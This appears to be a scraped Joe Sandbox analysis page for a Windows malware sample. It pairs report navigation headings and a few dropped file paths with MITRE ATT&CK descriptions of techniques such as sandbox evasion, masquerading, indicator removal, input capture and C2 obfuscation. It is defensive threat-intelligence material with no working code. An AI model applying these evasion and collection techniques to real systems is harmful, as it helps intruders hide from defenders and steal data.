Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. Various artifacts may be created by an adversary or something that can be attributed to an adversary’s actions. Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. Location, format, and type of artifact (such as command or login history) are often specific to each platform.
Tactics:	Defense Evasion
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Deletion, File: File Metadata, File: File Modification, Firewall: Firewall Rule Modification, Network Traffic: Network Traffic Content, Process: OS API Execution, Process: Process Creation, Scheduled Job: Scheduled Job Modification, User Account: User Account Authentication, User Account: User Account Deletion, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, Google Workspace, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report exe1.bin.bak.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Exploits

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aw0th0bd.huj.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bgicnpsc.a3g.psm1

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F88UJBO6CYIO703Q03NY.temp

Windows Analysis Report
exe1.bin.bak.exe

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre